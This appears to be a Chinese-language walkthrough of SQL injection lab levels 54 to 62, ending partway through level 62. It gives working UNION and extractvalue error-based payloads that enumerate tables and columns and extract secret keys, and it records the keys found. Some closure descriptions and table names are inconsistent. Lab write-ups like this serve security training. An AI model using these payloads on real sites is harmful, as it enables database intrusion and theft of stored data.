54、第五十四关

提示尝试是十次后数据库就重置，那我们尝试union

原来是单引号闭合

id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

数据库：challenges，表名是：4c7k78qe8t，就一个表

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='4c7k78qe8t')--+

字段为：id,sessid,secret_MWHJ,tryy

id=-1' union select 1,2,(select secret_MWHJ from 4c7k78qe8t)--+

查出Secret Key：KojCXmD2nIqg6AyFzp5Vi1jq

将获取的key值放到下面输入框点击提交就完成所有步骤。

55、第五十五关

这关也可以尝试10次，后表名，字段名，数据随机改变

id=-1' union select 1,2,database()--+

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='challenges')--+

id=-1' union select 1,2,(select group_concat(secret_YV1N) from  qthriw02yn)--+

secret_YV1N：f11TD89MthkTPZnwzxOHg4OX

56、第五十六关

这关可以尝试14次后才重置表数据

id=-1') union select 1,2,3--+尝试出单引号加括号闭合

id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='wcqh1ndqln')--+

id=-1') union select 1,2,(select secret_TCFR from wcqh1ndqln)--+

secret key：cityELb2pMtzbUtJLNTMGnHj

57、第五十七关

尝试出双引号闭合

id=-1" union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

id=-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='dtxwciipgl')--+

然后查出secret key：qZFAb0BLbaFXnzxh6kjKOYkK

id=-1" union select 1,2,(select group_concat(secret_KB70) from dtxwciipgl)--+

58、第五十八关

这关只能试五次

有报错，可以尝试报错注入

id=-1' and extractvalue(1,concat(0x7e,database()))--+

id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))--+

id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='4l6g2539j4')))--+

id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_0FM9) from 4l6g2539j4)))--+

secret key：cHu2PRJ1aEZ7uZ8OVcFx1x80

59、第五十九关

根据经验尝试双引号，结果不对，是数值型

id=1 and extractvalue(1,concat(0x7e,database()))--+

id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))--+

id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='egnu8zwkpl')))--+

接下来根据egnu8zwkpl表查secret_6QHK：9DwDyopuZPFpopuiXwgBLtmA然后提交即可

60、第六十关

?id=1"根据报错看出后面还有个括号，应该是双引号加括号闭合

id=1") and extractvalue(1,concat(0x7e,database()))--+

id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))--+

id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='uz68fmjku1')))--+

secret key：PwGGU5F3ssSpFEMqDUGeNxL6

61、第六十一关

有报错，感觉是双引号加双括号闭合，还是报错注入尝试

id=1')) and extractvalue(1,concat(0x7e,database()))--+

id=1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))--+

id=1')) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='7cqx2e789u')))--+

id=1')) and extractvalue(1,concat(0x7e,(select group_concat(secret_VHAS) from o8qdqu14j4)))--+

62、第六十二关

这关没有报错信息，无法用报错注入

id=1')--+尝试出是单引号加括号注入
